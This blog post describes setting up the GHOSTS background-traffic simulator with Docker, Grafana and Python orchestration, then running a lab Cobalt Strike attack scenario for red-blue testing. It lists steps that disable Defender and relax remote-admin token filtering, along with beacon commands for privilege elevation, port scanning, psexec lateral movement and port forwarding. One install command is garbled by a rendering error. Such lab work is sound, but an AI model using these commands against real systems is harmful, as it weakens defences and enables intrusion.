Mar 10, 2025 by Ghita Bennouna | 486 views
Python Windows Docker Network analysis and visualization Virtualization Offensive Security
In red-blue team attack scenarios, testing threats and attacks on isolated machines can make detection overly simplistic. This is because the attacks are the only activity on the network, which does not accurately reflect real-world conditions. In reality, cyberattacks often occur during working hours and blend seamlessly with normal user activities. The larger the organization, the more extensive the network, making it increasingly challenging to detect threats amidst the constant noise and traffic.
One potential solution is to have multiple users perform various tasks on their computers to generate background activity while conducting cyberattack simulations. However, this approach requires substantial resources, including personnel, computers, time, and effort.
This is where the GHOSTS framework becomes invaluable. It automates the generation of user activities across a network, creating realistic conditions that mimic a company’s environment. This enables more effective testing of both software and hardware security.
In this blog we will go over the steps taken to update the setup to the latest version of GHOSTS (available at https://cmu-sei.github.io/GHOSTS/), update the orchestration scripts(in Python) previously developed by Basile Ameeuw (found at https://gitlab.cylab.be/cylab/ghosts-python/), and create a cyberattack scenario as a proof of concept to demonstrate how GHOSTS generates background noise during simulations. All logs are visualized on the Wazuh dashboard
⚠ N.B: Due to the absence of a cyber range during this project, a workaround was implemented using a physical machine as a server and virtual machines (VMs) as clients.
sudo apt update
sudo apt install apt-transport-https ca-certificates curl software-properties-common -y
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
apt-cache policy docker-ce
sudo apt install docker-ce -y
sudo systemctl status docker
sudo apt update
sudo apt install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc
echo
"deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu
There was an error rendering this math block. KaTeX parse error: Expected 'EOF', got '&' at position 20: …etc/os-release &̲& echo "VERSION_CODENAME") stable" |
sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
sudo apt install docker-compose-plugin -y
docker compose version
sudo systemctl start docker
sudo systemctl enable docker
sudo apt-get install git
git clone https://github.com/cmu-sei/GHOSTS.git GHOSTS
Unzip the folder in a directory and run
cd GHOSTS/src/Ghosts.Api
sudo docker-compose up -d
docker ps
you will see that every container has been assigned a port as follows:
GHOSTS API on port :5000
Grafana on port :3000
PostgreSQL on port :5432
GHOSTS UI on port :8080
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' ghosts-postgres
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' ghosts-api
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' ghosts-grafana
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' ghosts-ui
localhost:5000 OR ServerIPAddress:5000
docker exec -it ghosts-postgres psql -U ghosts
5.1. First, navigate to:
localhost:3000 or ServerIPAddress:3000
5.2. Enter the credentials :
admin:admin
5.3. Once logged in change your credentials
5.4. Go to Home-> Connections-> Data sources-> Add a new data source -> type PostgreSQL-> complete the infos :
Host URL : PostgreSQL_IP_Address:port
Database name : ghosts
Username : ghosts
TLS/SSL Mode : disable
version : 10
5.5. Click on Save & test -> the output should be:
Database Connection OK
⚠ Warning: When you reboot your machine or restart a Docker container, the IP address of the PostgreSQL instance may change, potentially causing a lost connection between Grafana and the database. To resolve this, verify the current IP address using the docker inspect command mentioned earlier and retest the connection.
5.6. Go to Home-> Dashboards-> New -> Import-> Upload dashboard JSON file-> select GHOSTS-default Grafana dashboard -> you get a dashboard to visualize the NPC , health, polling etc
dotnet --list-runtimes
ping ServerIPAddress
http://ServerIPaddress:5000/
Set-MpPreference -DisableRealtimeMonitoring 1
py -m pip install numpy
Get-WindowsCapability -Online | Where-Object {$_.Name -like "OpenSSH*"}
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
Start-Service sshd
Set-Service -Name sshd -StartupType Automatic
New-NetFirewallRule -Name sshd -DisplayName "OpenSSH Server (sshd)" -Enabled True -Direction Inbound -Protocol TCP -LocalPort 22
Get-Service sshd
psexec calc
As a result, a calculator should pop up
telnet IPaddressWindows 445
=> output should be “Connection established”
Get-SmbServerConfiguration
$reg_path = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
$reg_prop_name = "LocalAccountTokenFilterPolicy"
$reg_key = Get-Item -Path $reg_path
$reg_prop = regkey.GetValue(reg_key.GetValue(regkey.GetValue(reg_prop_name)
if ($null -ne $reg_prop) {
Remove-ItemProperty -Path $reg_path -Name $reg_prop_name
}
New-ItemProperty -Path $reg_path -Name $reg_prop_name -Value 1 -PropertyType DWord
sudo apt update
sudo apt install python3
python3 --version
sudo apt update
sudo apt install python3-pip
pip install paramiko
ssh your_windows_username@Client IP address
Enter the VM password, if successfull => a command prompt will indicate that you’re logged into the Windows VM
Install these libraries:
pip install pypsexec
sudo apt-get install gcc python-dev libkr5-dev
pip install smbprotocol[kerberos]
The file application.json requires specifying the API URL and the path to timeline.json:
The file timeline.json contains detailed task definitions that are executed when GHOSTS runs. You can specify parameters such as:
The following tasks create and modify Word or Excel files:
This task utilizes Firefox with Geckodriver, which acts as an intermediary between automation scripts and the Firefox browser. Geckodriver converts high-level instructions (e.g., “open this website,” “click this button”) into commands that Firefox understands:
Within the web browsing task, a list of websites is provided to be visited randomly.:
Using the GHOSTS framework is practical for small-scale simulations involving one or a few virtual machine (VM) clients. However, for a proof of concept (PoC) aiming to simulate a company’s network with potentially hundreds of users, the framework reveals a significant limitation. Specifically, it requires manually launching the ghosts.exe file on each VM, which becomes highly time-consuming and labor-intensive for large-scale network simulations. This manual process highlights scalability challenges when attempting to simulate extensive environments.
To address the manual effort required to launch the ghosts.exe file on multiple virtual machines (VMs), Basile Ameeuw developed orchestration scripts in 2022. These Python scripts enable simultaneous execution of the executable across all VMs from a central server, significantly saving time and effort. The scripts utilize the server’s IP address, the IP addresses of the VMs, and other configuration details to coordinate this process.
To set up and run the GHOSTS framework using the orchestration scripts:
a. Turn on the VMs and note their IP addresses using ’ ipconfig ’ .
b. On the server, open the ghosts-python-master folder in VSCode.
c. Configure the following files:
Server/config/configServer.json: Specify total number of machines, GHOSTS version (8.0), and path to GHOSTS folder on client machines.
Server/config/changeTimeline.json: Modify NPC tasks if desired.
d. Execute GHOSTS on VMs from the server’s terminal:
python GhostRunner.py -n 3
(This starts GHOSTS on the first 3 VMs listed in IPaddress.json.)
e. To stop execution on specific VMs:
python StopGhosts.py -n 2
Additional options for GhostRunner.py and StopGhosts.py:
-a: Run/stop all machines
-n X: Run/stop first X machines
-r X: Run/stop X random machines
-s Y: Run specific machines listed in a JSON file
Allows editing the order in which VMs are orchestrated.
Enables adding new VMs by specifying their IP addresses.
The number of VMs is scalable.
VMs can be executed in a specific order, randomly, or individually.
Using Chocolatey and a Python script(from https://gitlab.cylab.be/cylab/datasets/apt-persistence/-/tree/main/Scripts?ref_type=heads), we’re able to check the existence of the softwares and install them if necessary on each VM before running the orchestration scripts. You can follow these steps on the VMs:
Set-ExecutionPolicy Bypass -Scope Process -Force
cd path_to_ghosts_dir
.\Install_softwares.ps1
sudo apt update && sudo apt install openjdk-11-jdk -y
./teamserver Server_IP_Address password
cd cobaltstrike_folder_path
./cobalstrike-client.sh
when prompted, enter the teamserver’s IP, the port (by default it’s 50050), a username and the password
python3 -m http.server
sleep 0
ls
ps
getuid
shell whoami/groups
elevate
elevate uac-token-duplication listener
mode dns
mode http
mode https
portscan 192.168.1.1-192.168.1.255
net view /domain
link IP_address_anotherVM_Same_Network
psexec 192.168.1.100 listener_https
rportfwd 8080 192.168.1.100 80
⚠ Warning: you might encounter issues with Cobalt Strike if using Wayland, you can check it :
echo $XDG_SESSION_TYPE
=> The solution is to switch from Wayland to x11 (at the login page of Ubuntu machine, click on the gear icon and select x11)
We can visualize the active VMs:
We can check the events/logs in time on each VM:
Here we can see that some high vulnerabilities have been detected:
In conclusion, the GHOSTS framework is a valuable tool for simulating realistic network activity, enhancing the effectiveness of red-blue team exercises. By automating user behavior, it provides a more authentic testing environment for detecting cyber threats.
This project demonstrates how updating the GHOSTS setup, refining orchestration scripts, and designing a cyberattack scenario can improve security testing. Although a dedicated cyber range was not available, a functional testbed was successfully implemented using physical and virtual machines.
Future work could involve integrating Linux-based VM clients alongside Windows clients to diversify attack simulations. Additionally, generating datasets from these simulations would enable deeper analysis of threat detection methods. Leveraging a dedicated cyber range in future implementations could further enhance realism and scalability.
This blog post is licensed under
CC BY-SA 4.0